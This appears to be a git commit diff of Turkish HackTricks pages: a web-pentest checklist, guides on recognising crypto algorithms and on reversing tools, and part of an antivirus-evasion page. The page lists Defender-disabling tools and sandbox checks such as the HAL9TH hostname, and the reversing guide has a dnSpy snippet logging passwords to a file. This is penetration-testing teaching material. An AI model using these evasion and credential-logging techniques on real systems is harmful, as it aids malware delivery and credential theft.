Her Web Pentest'te, **gizli ve belirgin birçok yerin savunmasız olabileceği** durumlar vardır. Bu yazı, tüm olası yerlerde güvenlik açıklarını aradığınızı doğrulamak için bir kontrol listesi olarak tasarlanmıştır.
## Proxiler
> [!TIP]
> Günümüzde **web** **uygulamaları** genellikle bazı tür **aracı** **proxy'ler** kullanır, bunlar güvenlik açıklarını istismar etmek için (kötüye) kullanılabilir. Bu güvenlik açıklarının var olması için bir savunmasız proxy'nin mevcut olması gerekir, ancak genellikle arka uçta da ek bir güvenlik açığına ihtiyaç duyarlar.
- [ ] [**Hop-by-hop başlıklarının kötüye kullanılması**](../abusing-hop-by-hop-headers.md)
- [ ] [**Önbellek Zehirleme/Önbellek Aldatma**](../cache-deception.md)
- [ ] [**HTTP İstek Kaçırma**](../http-request-smuggling/index.html)
- [ ] [**H2C Kaçırma**](../h2c-smuggling.md)
- [ ] [**Sunucu Tarafı Dahil Etme/Kenar Tarafı Dahil Etme**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Cloudflare'ı Ortaya Çıkarma**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
- [ ] [**XSLT Sunucu Tarafı Enjeksiyonu**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**Proxy / WAF Koruma Aşma**](../proxy-waf-protections-bypass.md)
## **Kullanıcı Girişi**
> [!TIP]
> Çoğu web uygulaması, **kullanıcıların daha sonra işlenecek bazı verileri girmesine izin verir.**\
> Sunucunun beklediği veri yapısına bağlı olarak bazı güvenlik açıkları uygulanabilir veya uygulanmayabilir.
### **Yansıtılan Değerler**
Eğer girilen veriler bir şekilde yanıtta yansıtılabiliyorsa, sayfa çeşitli sorunlara karşı savunmasız olabilir.
- [ ] [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md)
- [ ] [**Komut Enjeksiyonu**](../command-injection.md)
- [ ] [**CRLF**](../crlf-0d-0a.md)
- [ ] [**Asılı İşaretleme**](../dangling-markup-html-scriptless-injection/index.html)
- [ ] [**Dosya Dahil Etme/Yol Geçişi**](../file-inclusion/index.html)
- [ ] [**Açık Yönlendirme**](../open-redirect.md)
- [ ] [**Prototip Kirliliği ile XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
- [ ] [**Sunucu Tarafı Dahil Etme/Kenar Tarafı Dahil Etme**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Sunucu Tarafı İstek Sahteciliği**](../ssrf-server-side-request-forgery/index.html)
- [ ] [**Sunucu Tarafı Şablon Enjeksiyonu**](../ssti-server-side-template-injection/index.html)
- [ ] [**Ters Sekme Yakalama**](../reverse-tab-nabbing.md)
- [ ] [**XSLT Sunucu Tarafı Enjeksiyonu**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
- [ ] [**XS-Arama**](../xs-search.md)
Bahsedilen bazı güvenlik açıkları özel koşullar gerektirirken, diğerleri yalnızca içeriğin yansıtılmasını gerektirir. Hızlı bir şekilde güvenlik açıklarını test etmek için bazı ilginç poliglotlar bulabilirsiniz:
{{#ref}}
../pocs-and-polygloths-cheatsheet/
{{#endref}}
### **Arama Fonksiyonları**
Eğer fonksiyon, arka uçta bir tür veri aramak için kullanılabiliyorsa, belki de onu keyfi verileri aramak için (kötüye) kullanabilirsiniz.
- [ ] [**Dosya Dahil Etme/Yol Geçişi**](../file-inclusion/index.html)
- [ ] [**NoSQL Enjeksiyonu**](../nosql-injection.md)
- [ ] [**LDAP Enjeksiyonu**](../ldap-injection.md)
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
- [ ] [**SQL Enjeksiyonu**](../sql-injection/index.html)
- [ ] [**XPATH Enjeksiyonu**](../xpath-injection.md)
### **Formlar, WebSocket'ler ve PostMsg'ler**
Bir websocket bir mesaj gönderdiğinde veya kullanıcıların eylemler gerçekleştirmesine izin veren bir form olduğunda güvenlik açıkları ortaya çıkabilir.
- [ ] [**Cross Site İstek Sahteciliği**](../csrf-cross-site-request-forgery.md)
- [ ] [**Cross-site WebSocket Ele Geçirme (CSWSH)**](../websocket-attacks.md)
- [ ] [**PostMessage Güvenlik Açıkları**](../postmessage-vulnerabilities/index.html)
### **HTTP Başlıkları**
Web sunucusu tarafından verilen HTTP başlıklarına bağlı olarak bazı güvenlik açıkları mevcut olabilir.
- [ ] [**Clickjacking**](../clickjacking.md)
- [ ] [**İçerik Güvenlik Politikası aşma**](../content-security-policy-csp-bypass/index.html)
- [ ] [**Çerez Hacking**](../hacking-with-cookies/index.html)
- [ ] [**CORS - Yanlış Yapılandırmalar & Aşma**](../cors-bypass.md)
### **Aşmalar**
Bazı özel işlevlerde, bunları aşmak için bazı geçici çözümler yararlı olabilir.
- [ ] [**2FA/OTP Aşma**](../2fa-bypass.md)
- [ ] [**Ödeme Sürecini Aşma**](../bypass-payment-process.md)
- [ ] [**Captcha Aşma**](../captcha-bypass.md)
- [ ] [**Giriş Aşma**](../login-bypass/index.html)
- [ ] [**Yarış Durumu**](../race-condition.md)
- [ ] [**Hız Sınırı Aşma**](../rate-limit-bypass.md)
- [ ] [**Unutulan Şifreyi Sıfırlama Aşma**](../reset-password.md)
- [ ] [**Kayıt Güvenlik Açıkları**](../registration-vulnerabilities.md)
### **Yapılandırılmış Nesneler / Özel Fonksiyonlar**
Bazı işlevler, **verilerin çok özel bir formatta yapılandırılmasını** gerektirir (örneğin, bir dil serileştirilmiş nesne veya XML). Bu nedenle, uygulamanın bu tür verileri işlemesi gerektiğinden, savunmasız olup olmadığını belirlemek daha kolaydır.\
Bazı **özel işlevler** de, **girişin belirli bir formatta kullanılması durumunda** savunmasız olabilir (örneğin, E-posta Başlık Enjeksiyonları).
- [ ] [**Deserialization**](../deserialization/index.html)
- [ ] [**E-posta Başlık Enjeksiyonu**](../email-injections.md)
- [ ] [**JWT Güvenlik Açıkları**](../hacking-jwt-json-web-tokens.md)
- [ ] [**XML Dış Varlık**](../xxe-xee-xml-external-entity.md)
### Dosyalar
Dosya yüklemeye izin veren işlevler çeşitli sorunlara karşı savunmasız olabilir.\
Kullanıcı girişini içeren dosyalar oluşturan işlevler beklenmedik kod çalıştırabilir.\
Kullanıcıların, kullanıcılar tarafından yüklenen veya kullanıcı girişini içeren otomatik olarak oluşturulan dosyaları açması durumunda tehlikeye girebilir.
- [ ] [**Dosya Yükleme**](../file-upload/index.html)
- [ ] [**Formül Enjeksiyonu**](../formula-csv-doc-latex-ghostscript-injection.md)
- [ ] [**PDF Enjeksiyonu**](../xss-cross-site-scripting/pdf-injection.md)
- [ ] [**Sunucu Tarafı XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
### **Dış Kimlik Yönetimi**
- [ ] [**OAUTH ile Hesap Ele Geçirme**](../oauth-to-account-takeover.md)
- [ ] [**SAML Saldırıları**](../saml-attacks/index.html)
### **Diğer Yardımcı Güvenlik Açıkları**
Bu güvenlik açıkları, diğer güvenlik açıklarını istismar etmeye yardımcı olabilir.
- [ ] [**Alan/Alt Alan Ele Geçirme**](../domain-subdomain-takeover.md)
- [ ] [**IDOR**](../idor.md)
- [ ] [**Parametre Kirliliği**](../parameter-pollution.md)
- [ ] [**Unicode Normalizasyonu güvenlik açığı**](../unicode-injection/index.html)
{{#include ../../banners/hacktricks-training.md}}

183
src/reversing/cryptographic-algorithms/README.md
View File

@ -1,183 +0,0 @@
# Kriptografik/Sıkıştırma Algoritmaları
{{#include ../../banners/hacktricks-training.md}}
## Algoritmaları Tanımlama
Eğer bir kod **sağ ve sol kaydırmalar, XOR'lar ve çeşitli aritmetik işlemler** kullanıyorsa, bunun bir **kriptografik algoritmanın** uygulanması olması oldukça olasıdır. Burada, **her adımı tersine çevirmeye gerek kalmadan kullanılan algoritmayı tanımlamanın bazı yolları** gösterilecektir.
### API fonksiyonları
**CryptDeriveKey**
Bu fonksiyon kullanılıyorsa, ikinci parametrenin değerini kontrol ederek hangi **algoritmanın kullanıldığını** bulabilirsiniz:
![](<../../images/image (375) (1) (1) (1) (1).png>)
Olası algoritmalar ve atanan değerleri için buraya bakın: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
**RtlCompressBuffer/RtlDecompressBuffer**
Verilen bir veri tamponunu sıkıştırır ve açar.
**CryptAcquireContext**
[Belgelerden](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): **CryptAcquireContext** fonksiyonu, belirli bir kriptografik hizmet sağlayıcısı (CSP) içindeki belirli bir anahtar konteynerine bir tanıtıcı almak için kullanılır. **Bu döndürülen tanıtıcı, seçilen CSP'yi kullanan CryptoAPI** fonksiyonlarına yapılan çağrılarda kullanılır.
**CryptCreateHash**
Bir veri akışının hash'ini başlatır. Bu fonksiyon kullanılıyorsa, ikinci parametrenin değerini kontrol ederek hangi **algoritmanın kullanıldığını** bulabilirsiniz:
![](<../../images/image (376).png>)
\
Olası algoritmalar ve atanan değerleri için buraya bakın: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
### Kod sabitleri
Bazen, bir algoritmayı tanımlamak gerçekten kolaydır çünkü özel ve benzersiz bir değer kullanması gerekir.
![](<../../images/image (370).png>)
Eğer ilk sabiti Google'da ararsanız, bu sonucu alırsınız:
![](<../../images/image (371).png>)
Bu nedenle, decompile edilmiş fonksiyonun bir **sha256 hesaplayıcı** olduğunu varsayabilirsiniz.\
Diğer sabitlerden herhangi birini arayabilir ve (muhtemelen) aynı sonucu elde edersiniz.
### veri bilgisi
Eğer kodda herhangi bir önemli sabit yoksa, bu **.data bölümünden bilgi yüklüyor olabilir**.\
Bu veriye erişebilir, **ilk dword'u gruplandırabilir** ve önceki bölümde yaptığımız gibi Google'da arama yapabilirsiniz:
![](<../../images/image (372).png>)
Bu durumda, eğer **0xA56363C6**'yı ararsanız, bunun **AES algoritmasının tablolarıyla** ilişkili olduğunu bulabilirsiniz.
## RC4 **(Simetrik Kriptografi)**
### Özellikler
3 ana bölümden oluşur:
- **Başlatma aşaması/**: **0x00'dan 0xFF'e kadar değerler içeren bir tablo oluşturur** (toplam 256 bayt, 0x100). Bu tablo genellikle **Yer Değiştirme Kutusu** (veya SBox) olarak adlandırılır.
- **Karıştırma aşaması**: Önceden oluşturulan tabloyu **döngüye alır** (0x100 yineleme döngüsü) ve her değeri **yarı rastgele** baytlarla değiştirir. Bu yarı rastgele baytları oluşturmak için RC4 **anahtarı kullanılır**. RC4 **anahtarları** **1 ile 256 bayt arasında** olabilir, ancak genellikle 5 bayttan fazla olması önerilir. Genellikle, RC4 anahtarları 16 bayt uzunluğundadır.
- **XOR aşaması**: Son olarak, düz metin veya şifreli metin, **önceden oluşturulan değerlerle XOR'lanır**. Şifreleme ve şifre çözme fonksiyonu aynıdır. Bunun için, oluşturulan 256 bayt üzerinden gerekli olduğu kadar döngü yapılacaktır. Bu genellikle decompile edilmiş kodda **%256 (mod 256)** ile tanınır.
> [!TIP]
> **Bir disassembly/decompile edilmiş kodda RC4'ü tanımlamak için, 0x100 boyutunda 2 döngü kontrol edebilir ve ardından giriş verilerinin 2 döngüde oluşturulan 256 değerle XOR'lanmasını, muhtemelen bir %256 (mod 256) kullanarak kontrol edebilirsiniz.**
### **Başlatma aşaması/Yer Değiştirme Kutusu:** (Sayacın olarak kullanılan 256 sayısına ve 256 karakterin her yerinde 0 yazılmasına dikkat edin)
![](<../../images/image (377).png>)
### **Karıştırma Aşaması:**
![](<../../images/image (378).png>)
### **XOR Aşaması:**
![](<../../images/image (379).png>)
## **AES (Simetrik Kriptografi)**
### **Özellikler**
- **Yer değiştirme kutuları ve arama tabloları** kullanımı
- **Belirli arama tablo değerlerinin** (sabitlerin) kullanımı sayesinde AES'i **ayırmak mümkündür**. _Not edin ki **sabit** ikili dosyada **saklanabilir** veya _**dinamik olarak**_ _**oluşturulabilir**._
- **Şifreleme anahtarı** **16'ya** (genellikle 32B) **tam bölünebilir** olmalıdır ve genellikle 16B'lik bir **IV** kullanılır.
### SBox sabitleri
![](<../../images/image (380).png>)
## Serpent **(Simetrik Kriptografi)**
### Özellikler
- Bunu kullanan bazı kötü amaçlı yazılımlar bulmak nadirdir ama örnekler vardır (Ursnif)
- Bir algoritmanın Serpent olup olmadığını belirlemek basittir, uzunluğu (son derece uzun fonksiyon)
### Tanımlama
Aşağıdaki resimde **0x9E3779B9** sabitinin nasıl kullanıldığına dikkat edin (bu sabitin ayrıca **TEA** -Küçük Şifreleme Algoritması gibi diğer kripto algoritmalarında da kullanıldığını unutmayın).\
Ayrıca **döngünün boyutuna** (**132**) ve **disassembly** talimatlarındaki ve **kod** örneğindeki **XOR işlemleri sayısına** dikkat edin:
![](<../../images/image (381).png>)
Daha önce belirtildiği gibi, bu kod herhangi bir decompiler içinde **çok uzun bir fonksiyon** olarak görselleştirilebilir çünkü içinde **atlamalar** yoktur. Decompile edilmiş kod aşağıdaki gibi görünebilir:
![](<../../images/image (382).png>)
Bu nedenle, bu algoritmayı tanımlamak, **büyü numarayı** ve **ilk XOR'ları** kontrol ederek, **çok uzun bir fonksiyon** görerek ve uzun fonksiyonun bazı **talimatlarını** (örneğin, 7'ye sola kaydırma ve 22'ye sola döndürme) bir **uygulama** ile karşılaştırarak mümkündür.
## RSA **(Asimetrik Kriptografi)**
### Özellikler
- Simetrik algoritmalardan daha karmaşık
- Sabit yok! (özel uygulamaların belirlenmesi zordur)
- KANAL (bir kripto analizörü) RSA hakkında ipuçları gösteremiyor çünkü sabitlere dayanıyor.
### Karşılaştırmalarla Tanımlama
![](<../../images/image (383).png>)
- 11. satırda (solda) `+7) >> 3` var, bu sağdaki 35. satırda da aynı: `+7) / 8`
- 12. satır (solda) `modulus_len < 0x040` kontrol ediyor ve 36. satırda (sağda) `inputLen+11 > modulusLen` kontrol ediliyor.
## MD5 & SHA (hash)
### Özellikler
- 3 fonksiyon: Init, Update, Final
- Benzer başlatma fonksiyonları
### Tanımlama
**Init**
Her ikisini de sabitleri kontrol ederek tanımlayabilirsiniz. sha_init'in MD5'de olmayan 1 sabiti olduğunu unutmayın:
![](<../../images/image (385).png>)
**MD5 Dönüşümü**
Daha fazla sabit kullanıldığına dikkat edin
![](<../../images/image (253) (1) (1) (1).png>)
## CRC (hash)
- Daha küçük ve daha verimli çünkü işlevi verilerdeki kazara değişiklikleri bulmaktır
- Sabitleri tanımlamak için arama tabloları kullanır
### Tanımlama
**arama tablo sabitlerini** kontrol edin:
![](<../../images/image (387).png>)
Bir CRC hash algoritması şöyle görünür:
![](<../../images/image (386).png>)
## APLib (Sıkıştırma)
### Özellikler
- Tanınabilir sabitler yok
- Algoritmayı Python'da yazmayı deneyebilir ve çevrimiçi benzer şeyler arayabilirsiniz
### Tanımlama
Grafik oldukça büyük:
![](<../../images/image (207) (2) (1).png>)
Bunu tanımak için **3 karşılaştırmaya** bakın:
![](<../../images/image (384).png>)
{{#include ../../banners/hacktricks-training.md}}

114
src/reversing/reversing-tools/README.md
View File

@ -1,114 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Wasm Decompilation ve Wat Compilation Rehberi
**WebAssembly** alanında, **decompile** ve **compile** için araçlar geliştiriciler için gereklidir. Bu rehber, **Wasm (WebAssembly binary)** ve **Wat (WebAssembly text)** dosyalarını işlemek için bazı çevrimiçi kaynaklar ve yazılımlar tanıtmaktadır.
## Çevrimiçi Araçlar
- Wasm'ı Wat'a **decompile** etmek için [Wabt'nin wasm2wat demo](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) aracı kullanışlıdır.
- Wat'ı tekrar Wasm'a **compile** etmek için [Wabt'nin wat2wasm demo](https://webassembly.github.io/wabt/demo/wat2wasm/) amaca hizmet eder.
- Başka bir decompilation seçeneği [web-wasmdec](https://wwwg.github.io/web-wasmdec/) adresinde bulunabilir.
## Yazılım Çözümleri
- Daha sağlam bir çözüm için, [PNF Software tarafından JEB](https://www.pnfsoftware.com/jeb/demo) geniş özellikler sunmaktadır.
- Açık kaynak projesi [wasmdec](https://github.com/wwwg/wasmdec) de decompilation görevleri için mevcuttur.
# .Net Decompilation Kaynakları
.Net bileşenlerini decompile etmek için şu araçlar kullanılabilir:
- [ILSpy](https://github.com/icsharpcode/ILSpy), ayrıca [Visual Studio Code için bir eklenti](https://github.com/icsharpcode/ilspy-vscode) sunarak çapraz platform kullanımına olanak tanır.
- **Decompilation**, **modification** ve **recompilation** ile ilgili görevler için [dnSpy](https://github.com/0xd4d/dnSpy/releases) şiddetle tavsiye edilir. Bir metoda **sağ tıklamak** ve **Modify Method** seçeneğini seçmek, kod değişikliklerine olanak tanır.
- [JetBrains'in dotPeek](https://www.jetbrains.com/es-es/decompiler/) .Net bileşenlerini decompile etmek için başka bir alternatiftir.
## DNSpy ile Hata Ayıklama ve Günlükleme Geliştirme
### DNSpy Günlükleme
DNSpy kullanarak bir dosyaya bilgi kaydetmek için aşağıdaki .Net kod parçasını ekleyin:
%%%cpp
using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
File.AppendAllText(path, "Password: " + password + "\n");
%%%
### DNSpy Hata Ayıklama
DNSpy ile etkili bir hata ayıklama için, hata ayıklamayı engelleyebilecek optimizasyonların devre dışı bırakıldığından emin olmak için **Assembly attributes** ayarlarını ayarlamak üzere bir dizi adım önerilmektedir. Bu süreç, `DebuggableAttribute` ayarlarını değiştirmeyi, bileşeni yeniden derlemeyi ve değişiklikleri kaydetmeyi içerir.
Ayrıca, **IIS** tarafından çalıştırılan bir .Net uygulamasını hata ayıklamak için `iisreset /noforce` komutu IIS'i yeniden başlatır. DNSpy'ı hata ayıklama için IIS sürecine eklemek için, rehber **w3wp.exe** sürecini DNSpy içinde seçmeyi ve hata ayıklama oturumunu başlatmayı önerir.
Hata ayıklama sırasında yüklü modüllerin kapsamlı bir görünümü için, DNSpy'deki **Modules** penceresine erişmek ve ardından tüm modülleri açmak ve bileşenleri daha kolay gezinme ve hata ayıklama için sıralamak önerilir.
Bu rehber, WebAssembly ve .Net decompilation'ın özünü kapsar ve geliştiricilerin bu görevleri kolayca yönetmeleri için bir yol sunar.
## **Java Decompiler**
Java bytecode'u decompile etmek için bu araçlar oldukça yardımcı olabilir:
- [jadx](https://github.com/skylot/jadx)
- [JD-GUI](https://github.com/java-decompiler/jd-gui/releases)
## **DLL'leri Hata Ayıklama**
### IDA Kullanarak
- **Rundll32**, 64-bit ve 32-bit sürümleri için belirli yollar üzerinden yüklenir.
- **Windbg**, kütüphane yükleme/boşaltma sırasında askıya alma seçeneği etkinleştirilmiş debugger olarak seçilir.
- Çalıştırma parametreleri DLL yolu ve fonksiyon adını içerir. Bu yapılandırma, her DLL'nin yüklenmesi sırasında yürütmeyi durdurur.
### x64dbg/x32dbg Kullanarak
- IDA'ya benzer şekilde, **rundll32** komut satırı değişiklikleri ile DLL ve fonksiyonu belirtmek için yüklenir.
- DLL girişinde kırılma noktası ayarlamak için ayarlar, DLL girişinde kırılma noktası ayarlamak üzere ayarlanır.
### Görseller
- Yürütme durdurma noktaları ve yapılandırmalar ekran görüntüleri ile gösterilmektedir.
## **ARM & MIPS**
- Emülasyon için, [arm_now](https://github.com/nongiach/arm_now) yararlı bir kaynaktır.
## **Shellcodes**
### Hata Ayıklama Teknikleri
- **Blobrunner** ve **jmp2it**, shellcode'ları bellekte tahsis etmek ve Ida veya x64dbg ile hata ayıklamak için araçlardır.
- Blobrunner [sürümleri](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)
- jmp2it [derlenmiş versiyon](https://github.com/adamkramer/jmp2it/releases/)
- **Cutter**, GUI tabanlı shellcode emülasyonu ve incelemesi sunarak, shellcode'un bir dosya olarak işlenmesi ile doğrudan shellcode işlenmesi arasındaki farkları vurgular.
### Deobfuscation ve Analiz
- **scdbg**, shellcode fonksiyonları ve deobfuscation yetenekleri hakkında bilgiler sunar.
%%%bash
scdbg.exe -f shellcode # Temel bilgi
scdbg.exe -f shellcode -r # Analiz raporu
scdbg.exe -f shellcode -i -r # Etkileşimli kancalar
scdbg.exe -f shellcode -d # Çözülmüş shellcode'u dök
scdbg.exe -f shellcode /findsc # Başlangıç ofsetini bul
scdbg.exe -f shellcode /foff 0x0000004D # Ofsetten çalıştır
%%%
- Shellcode'u ayrıştırmak için **CyberChef**: [CyberChef tarifi](https://gchq.github.io/CyberChef/#recipe=To_Hex%28'Space',0%29Disassemble_x86%28'32','Full%20x86%20architecture',16,0,true,true%29)
## **Movfuscator**
- Tüm talimatları `mov` ile değiştiren bir obfuscator.
- Yararlı kaynaklar arasında bir [YouTube açıklaması](https://www.youtube.com/watch?v=2VF_wPkiBJY) ve [PDF slaytlar](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf) bulunmaktadır.
- **demovfuscator**, movfuscator'ın obfuscation'ını tersine çevirebilir, `libcapstone-dev` ve `libz3-dev` gibi bağımlılıklar gerektirir ve [keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) yüklenmelidir.
## **Delphi**
- Delphi ikili dosyaları için, [IDR](https://github.com/crypto2011/IDR) önerilmektedir.
# Kurslar
- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering)
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) \(Binary deobfuscation\)
{{#include ../../banners/hacktricks-training.md}}

492
src/windows-hardening/av-bypass.md
View File

@ -1,97 +1,97 @@
# Antivirüs (AV) Atlama
# Antivirus (AV) Bypass
{{#include ../banners/hacktricks-training.md}}
**Bu sayfa [**@m2rc_p**](https://twitter.com/m2rc_p) tarafından yazıldı!**
**This page was written by** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
## Defender'ı Durdur
## Defender'ı Durdurma
- [defendnot](https://github.com/es3n1n/defendnot): Windows Defender'ın çalışmasını durdurmak için bir araç.
- [no-defender](https://github.com/es3n1n/no-defender): Başka bir AV'yi taklit ederek Windows Defender'ın çalışmasını durdurmak için bir araç.
- [no-defender](https://github.com/es3n1n/no-defender): Başka bir AV taklidi yaparak Windows Defender'ın çalışmasını durdurmak için bir araç.
- [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md)
## **AV Kaçınma Metodolojisi**
Günümüzde AV'ler bir dosyanın kötü amaçlı olup olmadığını kontrol etmek için farklı yöntemler kullanır: static detection, dynamic analysis ve daha gelişmiş EDR'ler için behavioural analysis.
Günümüzde AV'ler bir dosyanın kötü amaçlı olup olmadığını kontrol etmek için farklı yöntemler kullanıyor: statik tespit, dinamik analiz ve daha gelişmiş EDR'ler için davranış analizi.
### **Static detection**
### **Statik tespit**
Static detection, bir binary veya script içindeki bilinen kötü amaçlı stringleri ya da byte dizilerini işaretleyerek ve ayrıca dosyanın kendisinden bilgi çıkararak (ör. file description, company name, digital signatures, icon, checksum, vb.) gerçekleştirilir. Bu, bilinen açık araçları kullanmanın sizi daha kolay yakalayabileceği anlamına gelir; çünkü muhtemelen analiz edilip kötü amaçlı olarak işaretlenmişlerdir. Bu tür tespitten kaçınmanın birkaç yolu vardır:
Statik tespit, bir ikili veya betikte bilinen zararlı string'leri veya byte dizilerini işaretleyerek ve ayrıca dosyanın kendisinden bilgi çıkararak (ör. file description, company name, digital signatures, icon, checksum vb.) gerçekleştirilir. Bu, bilinen kamu araçlarını kullanmanın sizi daha kolay yakalayabileceği anlamına gelir; çünkü büyük olasılıkla analiz edilmiş ve zararlı olarak işaretlenmişlerdir. Bu tür tespitten kurtulmanın birkaç yolu vardır:
- **Encryption**
Eğer binary'i şifrelerseniz, AV programınız programınızı tespit edemez, ancak programı bellekte decrypt edip çalıştırmak için bir loader'a ihtiyacınız olacaktır.
Eğer binary'i şifrelerseniz, AV programınızın programınızı tespit etmesi imkansız olur, fakat programı bellekte decrypt edip çalıştırmak için bir tür loader gerekecektir.
- **Obfuscation**
Bazen tek yapmanız gereken binary veya script içindeki bazı stringleri değiştirmektir; bu AV'i atlatmak için yeterli olabilir, ancak neyi obfuscate etmeye çalıştığınıza bağlı olarak zaman alıcı olabilir.
Bazen AV'den geçmek için binary veya betiğinizdeki bazı string'leri değiştirmeniz yeterlidir, ancak neyi obfusk etmeye çalıştığınıza bağlı olarak zaman alıcı bir iş olabilir.
- **Custom tooling**
Kendi araçlarınızı geliştirirseniz bilinen kötü imzalar olmayacaktır, fakat bu çok zaman ve emek gerektirir.
Kendi araçlarınızı geliştirirseniz, bilinen kötü imzalar olmayacaktır, ama bu çok zaman ve emek gerektirir.
> [!TIP]
> Windows Defender'ın static detection'ına karşı kontrol yapmak için iyi bir yol [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)'dir. Temelde dosyayı birden çok segmente bölüp Defender'a her birini ayrı ayrı taratır; böylece binary'nizde işaretlenen kesin stringleri veya byte'ları size söyleyebilir.
> Windows Defender statik tespiti karşı kontrol etmek için iyi bir yol [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Temelde dosyayı birden fazla segmente böler ve ardından Defender'a her birini ayrı ayrı taratır, böylece binary'nizde hangi string veya byte'ların işaretlendiğini tam olarak söyleyebilir.
Pratik AV kaçınma konusunda bu [YouTube oynatma listesine](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) göz atmanızı şiddetle tavsiye ederim.
Pratik AV Evasion ile ilgili bu [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) listelemesini şiddetle tavsiye ederim.
### **Dynamic analysis**
### **Dinamik analiz**
Dynamic analysis, AV'in binary'nizi bir sandbox'ta çalıştırıp kötü amaçlı aktiviteleri izlemesidir (ör. tarayıcı şifrelerinizi decrypt edip okumaya çalışmak, LSASS üzerinde minidump almak, vb.). Bu kısım üzerinde çalışmak biraz daha zor olabilir, fakat sandbox'ları atlatmak için yapabileceğiniz bazı şeyler şunlardır.
Dinamik analiz, AV'nin binary'nizi bir sandbox içinde çalıştırıp kötü amaçlı faaliyetleri gözlemlemesiyle gerçekleşir (ör. tarayıcı şifrelerinizi decrypt edip okumaya çalışmak, LSASS üzerinde minidump yapmak vb.). Bu kısım biraz daha zor olabilir, ama sandbox'lardan kaçınmak için yapabileceğiniz bazı şeyler şunlardır.
- **Sleep before execution** Uygulamanın nasıl implemente edildiğine bağlı olarak, bu AV'in dynamic analysis'ini atlatmak için çok iyi bir yol olabilir. AV'lerin kullanıcı deneyimini kesintiye uğratmamak için dosyaları taramak üzere çok kısa bir süreleri vardır, bu yüzden uzun uyumalar (sleep) binary'lerin analizini bozabilir. Sorun şu ki, birçok AV'in sandbox'ı uygulamanın nasıl yazıldığına bağlı olarak sleep'i atlayabilir.
- **Checking machine's resources** Genellikle Sandbox'ların kullanabileceği kaynaklar çok azdır (ör. < 2GB RAM), aksi takdirde kullanıcının makinesini yavaşlatabilirler. Burada çok yaratıcı olabilirsiniz, örneğin CPU sıcaklığını veya fan hızlarını kontrol etmek gibi; her şey sandbox'ta implemente edilmiş olmayacaktır.
- **Machine-specific checks** Hedef almak istediğiniz kullanıcının workstation'ı "contoso.local" domain'ine bağlıysa, bilgisayarın domain'ini kontrol edip belirttiğinizle eşleşip eşleşmediğine bakabilirsiniz; eşleşmiyorsa programınızı sonlandırabilirsiniz.
- **Çalıştırmadan önce bekleme (Sleep before execution)** Uygulanma şekline bağlı olarak, AV'nin dinamik analizini atlatmak için harika bir yol olabilir. AV'lerin dosyaları taramak için kullanıcı iş akışını aksatmamak adına çok kısa süreleri vardır, bu yüzden uzun beklemeler binary'lerin analizini bozan bir etki yapabilir. Sorun şu ki, birçok AV'nin sandbox'ları uygulama şekline bağlı olarak bu beklemeyi atlayabilir.
- **Makinenin kaynaklarını kontrol etme** Genellikle sandbox'ların çalışmak için çok az kaynağı olur (ör. < 2GB RAM), aksi halde kullanıcının makinesini yavaşlatabilirler. Burada ayrıca çok yaratıcı olabilirsiniz; örneğin CPU sıcaklığını veya fan hızlarını kontrol etmek gibi, sandbox'ta her şey uygulanmamış olabilir.
- **Makine-özgü kontroller** Hedeflemek istediğiniz kullanıcının workstation'ı "contoso.local" domain'ine bağlıysa, bilgisayarın domain'ini kontrol ederek belirtilen ile eşleşip eşleşmediğini görebilirsiniz; eşleşmiyorsa programınızı sonlandırabilirsiniz.
Ortaya çıktığı üzere Microsoft Defender'ın Sandbox bilgisayar adı HAL9TH'tir; bu yüzden malware'inizde patlatmadan önce bilgisayar adını kontrol edebilirsiniz; eğer ad HAL9TH ile eşleşiyorsa Defender'ın sandbox'ı içindesiniz demektir, dolayısıyla programınızı sonlandırabilirsiniz.
Ortaya çıktı ki Microsoft Defender'ın Sandbox bilgisayar adı HAL9TH, bu yüzden malware'inizde detonasyondan önce bilgisayar adını kontrol edebilirsiniz; ad HAL9TH ile eşleşiyorsa Defender'ın sandbox'ındasınızdır ve programınızı sonlandırabilirsiniz.
<figure><img src="../images/image (209).png" alt=""><figcaption><p>kaynak: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
Sandbox'lara karşı gitmek için [@mgeeky](https://twitter.com/mariuszbit)'den bazı çok iyi ipuçları
Sandbox'lara karşı gitmek için [@mgeeky](https://twitter.com/mariuszbit)'in bazı diğer gerçekten iyi ipuçları
